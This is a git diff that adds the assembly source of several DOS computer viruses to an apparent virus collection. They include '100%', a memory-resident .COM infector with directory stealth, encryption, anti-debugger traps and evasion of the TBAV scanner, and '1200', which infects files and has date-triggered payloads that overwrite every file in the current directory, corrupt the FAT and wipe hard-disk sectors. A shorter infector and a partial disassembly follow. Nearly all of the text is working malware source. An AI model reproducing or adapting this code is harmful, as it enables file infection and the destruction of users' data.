diff --git a/0-9/100%-1.asm b/0-9/100%-1.asm new file mode 100755 index 0000000..8115778 --- /dev/null +++ b/0-9/100%-1.asm @@ -0,0 +1,412 @@ +; =======================================================================> +; 100% By MnemoniX - 1994 +; +; This is a memory resident .COM infector which hides itself using +; directory stealth (11/12 and 4E/4F). To avoid setting heuristic +; flags in TBAV, it overwrites part of the decryption routine with +; garbage and adds instructions to repair it on the header of the +; program. Runs through TBAV flawlessly. Examine it in action and +; observe for yourself. +; +; This virus also includes debugger traps to thwart tracing. +; =======================================================================> + +PING equ 30F4h ; give INT 21 this value ... +PONG equ 0DEADh ; if this returns we're res. +ID equ '%0' ; ID marker +HEADER_SIZE equ 22 ; 22 - byte .COM header +MARKER equ 20 ; marker at offset 20 + +code segment byte public 'code' + org 100h + assume cs:code + +start: + db 17 dup (90h) ; simulate infected program + jmp virus_begin ; a real host program will + dw ID ; have some MOVs at the +host: + db 0CDh,20h ; beginning + db 20 dup(90h) + +virus_begin: + db 0BBh ; mov bx,offset viral_code +code_offset dw offset virus_code + db 0B8h ; mov ax,cipher +cipher dw 0 + mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code +decrypt: + xor [bx],ax ; in real infections, + ror ax,1 ; portions of this code + inc bx ; will be replaced with + inc bx ; dummy bytes, which will be + loop decrypt ; fixed up by the header. + ; this complicates scanning +virus_code: + call $+3 ; BP is instruction pointer + pop bp + sub bp,offset $-1 + + xor ax,ax ; anti-trace ... + mov es,ax ; set interrupts 0-3 to point + mov di,ax ; to The Great Void in high + dec ax ; memory ... + mov cl,8 + rep movsw + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + in al,21h ; another anti-debugger + xor al,2 ; routine ... lock out + out 21h,al ; keyboard + xor al,2 + out 21h,al + + mov ax,ds ; not resident - install + dec ax ; ourselves in memory + mov ds,ax + + sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 + mov ax,ds:[12h] + mov ds,ax + + sub ax,15 + mov es,ax + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],8 + mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + + push cs ; now move virus into memory + pop ds + mov di,100h + mov cx,(offset virus_end - offset start) / 2 + lea si,[bp + offset start] + rep movsw + + xor ax,ax ; change interrupt 21 to point + mov ds,ax ; to ourselves + + mov si,21h * 4 + mov di,offset old_int_21 ; (saving original int 21) + movsw + movsw + + mov word ptr ds:[si - 2],0 ; anti-trace - temporarily + ; kill int 21 + mov ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es + +installed: + push cs ; restore segregs + push cs + pop ds + pop es + lea si,[bp + offset host] ; and restore original + mov di,100h ; bytes of program + push di + mov cx,HEADER_SIZE + rep movsb + + ret ; and we're done + +; Interrupt 21 handler - trap file execute, search, open, read, and +; moves to the end of the file. + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,30F4h ; residency test? + je test_pass ; yes .... + + cmp ax,4B00h ; file execute? + jne stealth + jmp execute ; yes, infect ... + +stealth: + cmp ah,11h ; directory stealth + je dir_stealth_1 + cmp ah,12h + je dir_stealth_1 + + cmp ah,4Eh ; more directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +test_pass: + call int_21 ; get real DOS version + mov bx,PONG ; and give pass signal + iret + +dir_stealth_1: + call int_21 ; perform directory search + cmp al,-1 ; no more files? + jne check_file + iret ; no, skip it +check_file: + push ax bx es ; check file for infection + + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 + +no_ext_FCB: + cmp word ptr es:[bx + 9],'OC' + jne fixed ; not .COM file, ignore + + mov ax,word ptr es:[bx + 17h] + and al,31 ; check seconds - + cmp al,26 ; if 52, infected + jne fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE + sbb word ptr es:[bx + 1Fh],0 +fixed: + pop es bx ax + iret + +dir_stealth_2: + call int_21 ; perform file search + jnc check_file_2 ; if found, proceed + retf 2 ; nope, leave +check_file_2: + push ax bx si es + + mov ah,2Fh ; find DTA + int 21h + + xor si,si ; verify that this is a .COM +find_ext: + cmp byte ptr es:[bx + si],'.' + je found_ext + inc si + jmp find_ext +found_ext: + cmp word ptr es:[bx + si + 1],'OC' + jne fixed_2 ; if not .COM, skip + + mov ax,word ptr es:[bx + 16h] + and al,31 ; check for infection marker + cmp al,26 + jne fixed_2 ; not found, skip + + sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE + sbb word ptr es:[bx + 1Ch],0 +fixed_2: + pop es si bx ax ; done + clc + retf 2 + +execute: + push ax bx cx dx di ds es ; file execute ... check + ; if uninfected .COM file, + mov ax,3D00h ; and if so, infect + call int_21 + jnc read_header + jmp exec_exit ; can't open, leave + +read_header: + xchg ax,bx + + push bx ; save file handle + mov ax,1220h ; get system file table + int 2Fh ; entry + + nop ; remove this if you don't + ; mind scanning as [512] under + ; SCAN ... + + mov bl,es:[di] ; get number of the SFT + mov ax,1216h ; for this handle + int 2Fh ; ES:DI now points to SFT + pop bx + + mov word ptr es:[di + 2],2 ; change open mode to R/W + + push word ptr es:[di + 13] ; save file date + push word ptr es:[di + 15] ; and file time + + mov ax,word ptr es:[di + 11h] + cmp ax,62579 - VIRUS_SIZE ; too big? + je exec_close + + cmp ax,22 ; too small? + jb exec_close + + add ax,HEADER_SIZE - 3 ; calculate virus offset + + + push cs + pop ds + + mov ds:virus_offset,ax + + mov ah,3Fh ; read header of file + mov cx,HEADER_SIZE ; to check for infection + mov dx,offset read_buffer + call int_21 + + cmp word ptr ds:read_buffer,'ZM' + je exec_close ; don't infect .EXE + + cmp word ptr ds:read_buffer[MARKER],ID ; if infected + je exec_close ; already, skip it + + mov ax,4202h ; move to end of file + call move_ptr_write + + mov dx,offset read_buffer ; and save header + call int_21 + + call encrypt_code ; encrypt the virus code + call create_header ; and create unique header + + mov ah,40h + mov cx,VIRUS_SIZE ; write virus code to file + mov dx,offset encrypt_buffer + int 21h + + mov ax,4200h ; back to beginning of file + call move_ptr_write + + mov dx,offset new_header ; write new header + call int_21 + + pop dx ; restore file date & time + pop cx + and cl,0E0h ; but with timestamp + or cl,26 + mov ax,5701h + int 21h + + mov ah,3Eh ; close file + int 21h + +exec_exit: + pop es ds di dx cx bx ax + jmp int_21_exit + +move_ptr_write: + cwd ; move file pointer + xor cx,cx + int 21h + mov cx,HEADER_SIZE ; and prepare for write + mov ah,40h ; to file + ret + +exec_close: + pop ax ax ; clean off stack + mov ah,3Eh ; and close + int 21h + jmp exec_exit + +encrypt_code proc near + + push si es + + push cs + pop es + + xor ah,ah ; get random no. + int 1Ah ; and store in decryption + mov cipher,dx ; module + + mov ax,ds:virus_offset + add ax,DECRYPTOR_SIZE + 103h + mov code_offset,ax + + mov si,offset virus_begin ; first store header + mov di,offset encrypt_buffer + mov cx,DECRYPTOR_SIZE + rep movsb ; (unencryted) + + mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code + +encrypt: + lodsw ; simple encryption routine + xor ax,dx + ror dx,1 + stosw + loop encrypt + + pop es si + ret + +encrypt_code endp + +create_header proc near + + mov ax,ds:virus_offset ; fix up addresses in new + add ax,103h + (offset decrypt - offset virus_begin) + mov ds:mov_1,ax ; header + inc ax + inc ax + mov ds:mov_2,ax + + xor ah,ah ; fill in useless MOVs + int 1Ah ; with random bytes + mov ds:mov_al,cl + mov ds:mov_ax,dx + + push es cs + pop es + mov di,offset encrypt_buffer + add di,offset decrypt - offset virus_begin + mov ax,dx ; now fill decryption module + neg ax ; with some garbage + stosw + rol ax,1 + stosw + pop es + + sub word ptr ds:virus_offset,17 ; fix up JMP instruction + + ret ; done +create_header endp + +new_header db 0C7h,06 +mov_1 dw 00 + db 31h,07 ; first MOV 6 + db 0B0h +mov_al db 00 ; a nothing MOV AL, 2 + db 0C7h,06 +mov_2 dw 00 + db 0D1h,0C8h ; second MOV 6 + db 0B8h +mov_ax dw 00 ; a nothing MOV AX, 3 + db 0E9h ; jump instruction 1 +virus_offset dw 0 ; virus offset 2 + dw ID ; ID marker 2 + ; total bytes = 22 + +sig db '[100%] By MnemoniX 1994',0 + +virus_end: + +VIRUS_SIZE equ offset virus_end - offset virus_begin + +read_buffer dw HEADER_SIZE dup (?) ; storage for orig header +encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus + +heap_end: + +MEM_SIZE equ offset heap_end - offset start +DECRYPTOR_SIZE equ offset virus_code - offset virus_begin +ENCRYPTED_SIZE equ offset virus_end - offset virus_code + +code ends + end start diff --git a/0-9/100%.asm b/0-9/100%.asm new file mode 100755 index 0000000..8115778 --- /dev/null +++ b/0-9/100%.asm @@ -0,0 +1,412 @@ +; =======================================================================> +; 100% By MnemoniX - 1994 +; +; This is a memory resident .COM infector which hides itself using +; directory stealth (11/12 and 4E/4F). To avoid setting heuristic +; flags in TBAV, it overwrites part of the decryption routine with +; garbage and adds instructions to repair it on the header of the +; program. Runs through TBAV flawlessly. Examine it in action and +; observe for yourself. +; +; This virus also includes debugger traps to thwart tracing. +; =======================================================================> + +PING equ 30F4h ; give INT 21 this value ... +PONG equ 0DEADh ; if this returns we're res. +ID equ '%0' ; ID marker +HEADER_SIZE equ 22 ; 22 - byte .COM header +MARKER equ 20 ; marker at offset 20 + +code segment byte public 'code' + org 100h + assume cs:code + +start: + db 17 dup (90h) ; simulate infected program + jmp virus_begin ; a real host program will + dw ID ; have some MOVs at the +host: + db 0CDh,20h ; beginning + db 20 dup(90h) + +virus_begin: + db 0BBh ; mov bx,offset viral_code +code_offset dw offset virus_code + db 0B8h ; mov ax,cipher +cipher dw 0 + mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code +decrypt: + xor [bx],ax ; in real infections, + ror ax,1 ; portions of this code + inc bx ; will be replaced with + inc bx ; dummy bytes, which will be + loop decrypt ; fixed up by the header. + ; this complicates scanning +virus_code: + call $+3 ; BP is instruction pointer + pop bp + sub bp,offset $-1 + + xor ax,ax ; anti-trace ... + mov es,ax ; set interrupts 0-3 to point + mov di,ax ; to The Great Void in high + dec ax ; memory ... + mov cl,8 + rep movsw + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + in al,21h ; another anti-debugger + xor al,2 ; routine ... lock out + out 21h,al ; keyboard + xor al,2 + out 21h,al + + mov ax,ds ; not resident - install + dec ax ; ourselves in memory + mov ds,ax + + sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 + mov ax,ds:[12h] + mov ds,ax + + sub ax,15 + mov es,ax + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],8 + mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + + push cs ; now move virus into memory + pop ds + mov di,100h + mov cx,(offset virus_end - offset start) / 2 + lea si,[bp + offset start] + rep movsw + + xor ax,ax ; change interrupt 21 to point + mov ds,ax ; to ourselves + + mov si,21h * 4 + mov di,offset old_int_21 ; (saving original int 21) + movsw + movsw + + mov word ptr ds:[si - 2],0 ; anti-trace - temporarily + ; kill int 21 + mov ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es + +installed: + push cs ; restore segregs + push cs + pop ds + pop es + lea si,[bp + offset host] ; and restore original + mov di,100h ; bytes of program + push di + mov cx,HEADER_SIZE + rep movsb + + ret ; and we're done + +; Interrupt 21 handler - trap file execute, search, open, read, and +; moves to the end of the file. + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,30F4h ; residency test? + je test_pass ; yes .... + + cmp ax,4B00h ; file execute? + jne stealth + jmp execute ; yes, infect ... + +stealth: + cmp ah,11h ; directory stealth + je dir_stealth_1 + cmp ah,12h + je dir_stealth_1 + + cmp ah,4Eh ; more directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +test_pass: + call int_21 ; get real DOS version + mov bx,PONG ; and give pass signal + iret + +dir_stealth_1: + call int_21 ; perform directory search + cmp al,-1 ; no more files? + jne check_file + iret ; no, skip it +check_file: + push ax bx es ; check file for infection + + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 + +no_ext_FCB: + cmp word ptr es:[bx + 9],'OC' + jne fixed ; not .COM file, ignore + + mov ax,word ptr es:[bx + 17h] + and al,31 ; check seconds - + cmp al,26 ; if 52, infected + jne fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE + sbb word ptr es:[bx + 1Fh],0 +fixed: + pop es bx ax + iret + +dir_stealth_2: + call int_21 ; perform file search + jnc check_file_2 ; if found, proceed + retf 2 ; nope, leave +check_file_2: + push ax bx si es + + mov ah,2Fh ; find DTA + int 21h + + xor si,si ; verify that this is a .COM +find_ext: + cmp byte ptr es:[bx + si],'.' + je found_ext + inc si + jmp find_ext +found_ext: + cmp word ptr es:[bx + si + 1],'OC' + jne fixed_2 ; if not .COM, skip + + mov ax,word ptr es:[bx + 16h] + and al,31 ; check for infection marker + cmp al,26 + jne fixed_2 ; not found, skip + + sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE + sbb word ptr es:[bx + 1Ch],0 +fixed_2: + pop es si bx ax ; done + clc + retf 2 + +execute: + push ax bx cx dx di ds es ; file execute ... check + ; if uninfected .COM file, + mov ax,3D00h ; and if so, infect + call int_21 + jnc read_header + jmp exec_exit ; can't open, leave + +read_header: + xchg ax,bx + + push bx ; save file handle + mov ax,1220h ; get system file table + int 2Fh ; entry + + nop ; remove this if you don't + ; mind scanning as [512] under + ; SCAN ... + + mov bl,es:[di] ; get number of the SFT + mov ax,1216h ; for this handle + int 2Fh ; ES:DI now points to SFT + pop bx + + mov word ptr es:[di + 2],2 ; change open mode to R/W + + push word ptr es:[di + 13] ; save file date + push word ptr es:[di + 15] ; and file time + + mov ax,word ptr es:[di + 11h] + cmp ax,62579 - VIRUS_SIZE ; too big? + je exec_close + + cmp ax,22 ; too small? + jb exec_close + + add ax,HEADER_SIZE - 3 ; calculate virus offset + + + push cs + pop ds + + mov ds:virus_offset,ax + + mov ah,3Fh ; read header of file + mov cx,HEADER_SIZE ; to check for infection + mov dx,offset read_buffer + call int_21 + + cmp word ptr ds:read_buffer,'ZM' + je exec_close ; don't infect .EXE + + cmp word ptr ds:read_buffer[MARKER],ID ; if infected + je exec_close ; already, skip it + + mov ax,4202h ; move to end of file + call move_ptr_write + + mov dx,offset read_buffer ; and save header + call int_21 + + call encrypt_code ; encrypt the virus code + call create_header ; and create unique header + + mov ah,40h + mov cx,VIRUS_SIZE ; write virus code to file + mov dx,offset encrypt_buffer + int 21h + + mov ax,4200h ; back to beginning of file + call move_ptr_write + + mov dx,offset new_header ; write new header + call int_21 + + pop dx ; restore file date & time + pop cx + and cl,0E0h ; but with timestamp + or cl,26 + mov ax,5701h + int 21h + + mov ah,3Eh ; close file + int 21h + +exec_exit: + pop es ds di dx cx bx ax + jmp int_21_exit + +move_ptr_write: + cwd ; move file pointer + xor cx,cx + int 21h + mov cx,HEADER_SIZE ; and prepare for write + mov ah,40h ; to file + ret + +exec_close: + pop ax ax ; clean off stack + mov ah,3Eh ; and close + int 21h + jmp exec_exit + +encrypt_code proc near + + push si es + + push cs + pop es + + xor ah,ah ; get random no. + int 1Ah ; and store in decryption + mov cipher,dx ; module + + mov ax,ds:virus_offset + add ax,DECRYPTOR_SIZE + 103h + mov code_offset,ax + + mov si,offset virus_begin ; first store header + mov di,offset encrypt_buffer + mov cx,DECRYPTOR_SIZE + rep movsb ; (unencryted) + + mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code + +encrypt: + lodsw ; simple encryption routine + xor ax,dx + ror dx,1 + stosw + loop encrypt + + pop es si + ret + +encrypt_code endp + +create_header proc near + + mov ax,ds:virus_offset ; fix up addresses in new + add ax,103h + (offset decrypt - offset virus_begin) + mov ds:mov_1,ax ; header + inc ax + inc ax + mov ds:mov_2,ax + + xor ah,ah ; fill in useless MOVs + int 1Ah ; with random bytes + mov ds:mov_al,cl + mov ds:mov_ax,dx + + push es cs + pop es + mov di,offset encrypt_buffer + add di,offset decrypt - offset virus_begin + mov ax,dx ; now fill decryption module + neg ax ; with some garbage + stosw + rol ax,1 + stosw + pop es + + sub word ptr ds:virus_offset,17 ; fix up JMP instruction + + ret ; done +create_header endp + +new_header db 0C7h,06 +mov_1 dw 00 + db 31h,07 ; first MOV 6 + db 0B0h +mov_al db 00 ; a nothing MOV AL, 2 + db 0C7h,06 +mov_2 dw 00 + db 0D1h,0C8h ; second MOV 6 + db 0B8h +mov_ax dw 00 ; a nothing MOV AX, 3 + db 0E9h ; jump instruction 1 +virus_offset dw 0 ; virus offset 2 + dw ID ; ID marker 2 + ; total bytes = 22 + +sig db '[100%] By MnemoniX 1994',0 + +virus_end: + +VIRUS_SIZE equ offset virus_end - offset virus_begin + +read_buffer dw HEADER_SIZE dup (?) ; storage for orig header +encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus + +heap_end: + +MEM_SIZE equ offset heap_end - offset start +DECRYPTOR_SIZE equ offset virus_code - offset virus_begin +ENCRYPTED_SIZE equ offset virus_end - offset virus_code + +code ends + end start diff --git a/0-9/1200.asm b/0-9/1200.asm new file mode 100755 index 0000000..bca946d --- /dev/null +++ b/0-9/1200.asm @@ -0,0 +1,317 @@ +;hmm.,.,.,.,without a name.,.,.,., +;this file is much like the 606, only it +;is much more harmful...it has a special suprise +;for three diffrent dates....hehehehe.,.,,..,., +;i had planned to have it in with the other TR- +;series, but this was much to large to add in with.,., +;enjoy!.... +; nUcLeii +; [*v i a*]===[98] + + + +.model tiny +.code + +seg_a segment byte public + ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A + +filename equ 30 ;find file name +fileattr equ 21 ;find file attributes +filedate equ 24 ;find file date +filetime equ 22 ;fine file time + +org 100h + +main proc +start: + call dirloc + +infect: + mov dx, 100h + mov bx, handle + mov cx, 1203 + mov ah, 40h + int 21h + ret + +dirloc: + mov dx, offset dirdat ;offset to hold new dta + mov ah, 1ah ;set dta address + int 21h + +newdir: + mov ah,19h ;get drive code + int 21h + mov dl, al ;save drive code + inc dl ;add one to dl (functions differ) + mov ah, 47h ;get current directory + mov si, offset currentdir ;buffer to save directory in + int 21h + mov dx, offset daroot ;move dx to change to root + mov ah, 3bh ;change directory to root + int 21h + +find: + mov cx, 13h ;include hidden/ro dir. + mov dx, offset wild ;look for '*' + mov ah, 4eh ;find file + int 21h + cmp ax, 12h ;no file? + jne findmore ;no dir? screw it then. + +wank1: + jmp rollout + +findmore: + mov ah, 4fh ;find next target + int 21h + cmp ax, 12h + je wank ;no more? crew it then. + +keepgoin: + mov dx, offset dirdat+filename ;point dx to fcb-filename + mov ah, 3bh ;change directory + int 21h + mov ah, 2fh ;get current dta address + int 21h + mov [diskdat], es ;save old segment + mov [diskdatofs], bx ;save old offset + mov dx, offset filedat ;offset to hold new dta + mov ah, 1ah ;set dta address + int 21h + +checkit: + mov cx, 07h ;find any attribute + mov dx, offset filetype ;point dx to exe files + mov ah, 4eh ;find first file function + int 21h + cmp ax, 12h ;was it found? + jne change + +nextfile: + mov ah, 4fh ;find next file + int 21h + cmp ax,12h ;none found + jne change ;see what we can do... + mov dx, offset daroot ;dx to change to root directory + mov ah, 3bh + int 21h + mov ah, 1ah ;set dta address + mov ds, [diskdat] ;restore old segment + mov dx, [diskdatofs] ;restore old offset + int 21h + jmp findmore +wank: + jmp rollout + +change: + mov ah, 2fh ;temp. store dta + int 21h + mov [tempseg], es ;save old segment + mov [tempofs], bx ;save old offset + mov dx, offset filedat+filename + mov bx, offset filedat ;save file... + mov ax, [bx]+filedate ;tha date + mov orig_date, ax + mov ax, [bx]+filetime ;tha time + mov orig_time, ax + mov ax, [bx]+fileattr ;tha attributes + mov ax, 4300h + int 21h + mov orig_attr, cx + mov ax, 4301h ;change attributes + xor cx, cx ;clear attributes + int 21h + mov ax, 3d00h ;open file and read + int 21h + jc fixup ;error?..go get another! + mov handle, ax ;save handle + mov ah, 3fh ;read from file + mov bx, handle ;move handle to bx + mov cx, 02h ;read 2 bytes + mov dx, offset idbuffer ;save to buffer + int 21h + mov ah, 3eh ;close it for now + mov bx, handle ;load bx with handle + int 21h + mov bx, idbuffer ;give bx the id string + cmp bx, 02ebh ;are we infected? + jne doit ;hmm...go get another. + +fixup: + mov ah, 1ah ;set dta address + mov ds, [tempseg] ;restore old segment + mov dx, [tempofs] ;restore old offset + int 21h + jmp nextfile + +doit: + mov dx, offset filedat+filename + mov ax, 3d02h ;open victim read/write access + int 21h + mov handle, ax ;save handle + call infect ;do your job... + ;mov ax, 3eh + ;int 21h + +rollout: + mov ax, 5701h ;restore original... + mov bx, handle ;handle + mov cx, orig_time ;time + mov dx, orig_date ;date + int 21h + mov ax, 4301h ;and attributes + mov cx, orig_attr + mov dx, offset filedat+filename + int 21h + ;mov bx, handle + ;mov ax, 3eh ;close em" + ;int 21h + mov ah, 3bh ;try this for speed... + mov dx, offset daroot + int 21h + mov ah, 3bh ;change directory + mov dx, offset currentdir ;back to the original + int 21h + mov ah, 2ah ;check system date + int 21h + cmp cx, 1998 ;hehe..if not then your already + jb getout ;screwed an ill leave ya alone. + cmp dl, 15 ;is it the 15th?...muhahaha + jne goaway ;not?...lucky you. + cmp dl, 19 ;is it the 19th?...muhahaha + je alter_fat ;your gonna have a few crosslinks... + cmp dl, 29 ;is it the 29th?...muhahaha + je ouch ;your screwed,..,.,.,., + mov dx, offset dirdat ;offset to hold new dta + mov ah, 1ah ;set dta address + int 21h + mov ah, 4eh ;find first file + mov cx, 7h + mov dx, offset allfiles ;offset *.* ...hehehe... + jmp rockem + +getout: + call outta + +goaway: + call outta + +rockem: + int 21h + jc goaway ;error? screw it then... + mov ax, 4301h ;find all "normal" files + xor cx, cx + int 21h + mov dx, offset dirdat+filename + mov ah, 3ch ;write to all files in current dir. + int 21h + jc outta ;error? screw it then... + mov ah, 4fh ;find next file + jmp rockem + +ouch: + xor dx, dx ;clear dx + +rip_hd1: + mov cx, 1 ;track 0, sector 1 + mov ax, 311h ;17 secs per track (hopefully!) + mov dl, 80h + mov bx, 5000h + mov es, bx + int 13h ;kill 17 sectors + jae rip_hd2 + xor ah, ah + int 13h ;reset disks if needed +rip_hd2: + inc dh ;increment head number + cmp dh, 4 ;if head number is below 4 then + jb rip_hd1 ;go kill another 17 sectors + inc ch ;increase track number and + jmp ouch ;do it again + +alter_fat: + push dx + push bx + push cx + push ax + push bp ;save regs that will be changed + mov ax, 0dh + int 21h ;reset disk + mov ah, 19h + int 21h ;get default disk + xor dx, dx + call load_sec ;read in the boot record + mov bp, bx + mov bx, word ptr es:[bp+16h] ;find sectors per fat + push ax ;save drive number + call rnd_num ;get random number + cmp bx, ax ;if random number is lower than + jbe alter_fat1 ;secs per fat then jump and kill 'em + mov ax, bx ;else pick final sector of fat +alter_fat1: + + int 26h ;write same data in that fat + pop bp + pop ax + pop cx + pop bx + pop dx + jmp outta + +rnd_num: + push cx + push dx ;save regs that will be changed + xor ax, ax + int 1ah ;get system time + xchg dx, ax ;put lower word into ax + pop dx + pop cx + ret ;restore values and return + +load_sec: + push cx + push ds ;save regs that will be changed + push ax ;save drive number + push cs + pop ds + push cs + pop es ;make es and ds the same as cs + mov ax, 0dh + int 21h ;reset disk + pop ax ;restore drive number + mov cx, 1 + mov bx, offset sec_buf + int 25h ;read sector into buffer + pop ds + pop cx + ret ;restore regs and return + +outta: + mov ax, 4c00h ;end program + int 21h + +words_ db "nUcLeii~ *v. i. a*",0 +words2 db "1200..n0name",0 +allfiles db "*.*",0 +currentdir db 64 dup (?) +daroot db "\",0 +dirdat db 43 dup (?) +diskdat dw ? +diskdatofs dw ? +filedat db 43 dup (?) +filetype db "*.com",0 +handle dw ? +idbuffer dw ? +orig_attr dw ? +orig_date dw ? +orig_time dw ? +sec_buf dw 100h dup(?) +tempofs dw ? +tempseg dw ? +wild db "*",0 + +main endp +seg_a ends +end start diff --git a/0-9/133.ASM b/0-9/133.ASM new file mode 100755 index 0000000..13bfc61 --- /dev/null +++ b/0-9/133.ASM @@ -0,0 +1,99 @@ +VSize=085h + +Code Segment + Assume CS:Code + org 0 + db 4Dh + jmp Start + + Org 600h + +Bytes db 0CDh,20h,90h,90h + +Start: mov si, 0100h + mov bx, offset Int21 + mov cx, 0050h + mov di, si + add si, [si+2] + push di + movsw + movsw + mov es, cx + cmpsb + je StartFile + dec si + dec di + rep movsw + mov es, cx + xchg ax, bx + xchg ax, cx +Loop0: xchg ax, cx + xchg ax, word ptr es:[di-120h] + stosw + jcxz Loop0 + xchg ax, bx +StartFile: + push ds + pop es + ret + +Int21: cmp ax, 4B00h + jne End21 +Exec: push ax + push bx + push dx + push ds + push es + mov ax, 3D02h + call DoInt21 + jc EndExec + cbw ;Zero AH + cwd ;Zero DX + mov bx, si ;Move handle to BX + mov ds, ax ;Set DS and ES to 60h, + mov es, ax ;the virus data segment + mov ah, 3Fh ;Read first 4 bytes + int 69h + mov al, 4Dh + scasb ;Check for 4D5Ah or infected file mark + je Close ;.EXE or already infected + mov al, 2 + call LSeek ;Seek to the end, SI now contains file size + mov cl, VSize ;Virus size in CX, prepare to write + int 69h ;AH is 40h, i.e. Write operation + mov ax, 0E94Dh ;Virus header in AX + stosw ;Store it + xchg ax, si ;Move file size in AX + stosw ;Complete JMP instruction + xchg ax, dx ;Zero AX + call LSeek ;Seek to the beginning + int 69h ;AH is 40h, write the virus header +Close: mov ah,3Eh ;Close the file + int 69h +EndExec: pop es + pop ds + pop dx + pop bx + pop ax +End21: jmp dword ptr cs:[69h * 4] + +LSeek: mov ah, 42h ;Seek operation + cwd ;Zero DX +DoInt21: xor cx, cx ;External entry for Open, zero cx + int 69h + mov cl, 4 ;4 bytes will be read/written + xchg ax, si ;Store AX in SI + mov ax, 4060h ;Prepare AH for Write + xor di, di ;Zero DI + ret + +VLen = $ - offset Bytes + +Code EndS +End + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/0-9/1575 (1).ASM b/0-9/1575 (1).ASM new file mode 100755 index 0000000..7c94fa0 --- /dev/null +++ b/0-9/1575 (1).ASM @@ -0,0 +1,947 @@ + +PAGE 60,132 + +; +; +; VRES +; +; Created: 4-Jan-92 +; Passes: 5 Analysis Flags on: H +; +; + +data_1e equ 12Bh +data_2e equ 137h +data_3e equ 139h +data_4e equ 13Bh +data_5e equ 27Dh +data_6e equ 5CDh +data_7e equ 724h +data_8e equ 6B0h +data_9e equ 3 +data_10e equ 12h + +seg_a segment + assume cs:seg_a, ds:seg_a + + + org 100h + +vres proc far + +start: + push cs + mov ax,cs +data_11 dw 105h +data_12 dw 5000h +data_13 dw 0B8h +data_14 dw 5001h + db 0CBh, 0 +data_15 dw 0 +data_16 dw 0EB00h + db 4Ah, 90h +data_17 dw 1460h + db 74h, 2, 53h, 0FFh +data_18 dw 0F000h +data_19 dw 3B8h + db 0, 0CDh +data_20 dw 0CD10h +data_21 dw 20h +data_22 dw 20h +data_23 dw 11h +data_24 dw 0FFFFh +data_25 dw 4 +data_26 dw 100h +data_27 dw 674Fh +data_28 dw 100h +data_29 dw 4 +data_30 dw 0 +data_31 dw 0 +data_32 dw 0 +data_33 dw 340h +data_34 db 5 + db 0, 8Ah, 43h, 0B7h, 9Ah, 14h + db 0, 0, 1, 71h, 0Dh, 8Eh + db 0Ch, 56h, 5, 1, 0EAh, 56h + db 74h, 2, 5Ch, 7, 70h, 0 +loc_1: + push ss + add al,al + or bx,[si+7] + jo loc_2 ; Jump if overflow=1 +loc_2: + push es + push ds + mov ax,es + push cs + pop ds + push cs + pop es + mov data_31,ax + mov ax,ss + mov data_26,ax + mov al,2 + out 20h,al ; port 20h, 8259-1 int command + cld ; Clear direction + xor ax,ax ; Zero register + mov ds,ax + xor si,si ; Zero register + mov di,13Ch + mov cx,10h + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + push ds + pop ss + mov bp,8 + xchg bp,sp + call sub_1 ; (01D5) + jmp loc_24 ; (0552) +loc_3: + call sub_12 ; (05EC) + call sub_2 ; (023D) + jz loc_4 ; Jump if zero + mov al,ds:data_7e + push ax + call sub_3 ; (02AE) + pop ax + mov ds:data_7e,al + jmp short loc_5 ; (01B4) + db 90h +loc_4: + call sub_5 ; (041B) + call sub_6 ; (043D) + cmp byte ptr ds:data_7e,0 + jne loc_5 ; Jump if not equal + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_5: + cmp byte ptr ds:data_7e,43h ; 'C' + jne loc_8 ; Jump if not equal +loc_6: + pop ds + pop es + push cs + pop ds + pop es + push es + mov di,100h + mov si,10Bh + mov cx,0Ch + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + push es + pop ds + mov ax,100h + push ax + xor ax,ax ; Zero register + retf ; Return far + +vres endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov si,6 + lodsw ; String [si] to ax + cmp ax,192h + je loc_6 ; Jump if equal + cmp ax,179h + jne loc_7 ; Jump if not equal + jmp loc_10 ; (028F) +loc_7: + cmp ax,1DCh + je loc_8 ; Jump if equal + retn +loc_8: + pop ds + pop es + mov bx,cs:data_18 + sub bx,cs:data_29 + mov ax,cs + sub ax,bx + mov ss,ax + mov bp,cs:data_30 + xchg bp,sp + mov bx,cs:data_21 + sub 